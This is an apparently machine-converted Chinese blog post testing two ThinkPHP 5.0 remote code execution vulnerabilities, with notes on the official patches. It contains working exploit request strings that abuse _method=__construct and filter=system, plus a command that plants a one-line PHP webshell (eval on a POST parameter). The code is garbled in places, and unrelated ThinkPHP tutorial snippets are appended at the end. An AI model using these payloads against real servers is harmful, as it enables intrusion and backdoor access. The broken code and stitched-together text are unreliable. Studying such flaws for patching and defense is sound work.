ThinkPHP5 0 漏洞測試

2021-10-02 16:48:42 字數 1887 閱讀 2162

自從thinkphp發布漏洞補丁以來,伺服器不知道多少次受到了批量掃瞄漏洞來抓取肉雞的請求

雖然官方早已發布補丁,還是想試一下tp漏洞,測試兩個漏洞

由於對控制器名沒有明確的檢測,在沒有開啟強制路由的情況下,直接就可以執行phpinfo(),如果伺服器未限制shell等函式的執行,便可以直接執行shell提權

詳細的漏洞執行過程可以參考 漏洞執行過程

官方補丁

加入正規表示式來限制控制器名if(

!preg_match

('/^[a-za-z](\w)*$/'

,$controller))

_method=__construct&filter=system&method=get&get=dir

觸發條件

'var_method'

=>

'_method'

利用$_post['_method']變數來傳遞真實的請求方法,當$_post['_method']=__construct時,request類的method方法便會將該類的變數進行覆蓋,利用該方式將filter變數覆蓋為system等函式名,當內部進行引數過濾時便會進行執行任意命令

基於此可以直接上傳php檔案 test.php

生成一句話木馬

&t=echo+^<?php +phpinfo();eval($_post[cmd]);?^>+>>info.php

_method=__construct&filter=system&method=get&server[request_method]=123

可以在config.php將_method設定為其他字元,或者公升級tp

官方補丁

官方補丁中限制了_method可疑設定的請求方法,並在處理_method之後將其unset,無法再利用__construct進行變數覆蓋

;}

參考文章:

ThinkPHP5 0 接觸學習

mvc不是設計模式,而是設計典範。composer 是 php5.3以上 的乙個依賴管理工具。它允許你宣告專案所依賴的 庫,它會在你的專案中為你安裝他們。開發環境介紹 php版本 5.4.0 pdo mbstring curl php extension 安裝好這個擴充套件,thinkphp5能正常...

thinkphp5 0目錄結構

5.0的部署建議是public目錄作為web目錄訪問內容,其它都是web目錄之外,當然,你必須要修改public index.php中的相關路徑。如果沒法做到這點,請記得設定目錄的訪問許可權或者新增目錄列表的保護檔案。router.php用於php自帶webserver支援,可用於快速測試 啟動命令...

ThinkPHP5 0開發規範

thinkphp5 遵循 psr 2 命名規範和 psr 4 自動載入規範,並且注意如下規範 目錄和檔案 目錄使用小寫 下劃線 類庫 函式檔案統一以 php 為字尾 類的檔名均以命名空間定義,並且命名空間的路徑和類庫檔案所在路徑一致 類檔案採用駝峰法命名 首字母大寫 其它檔案採用小寫 下劃線命名 類...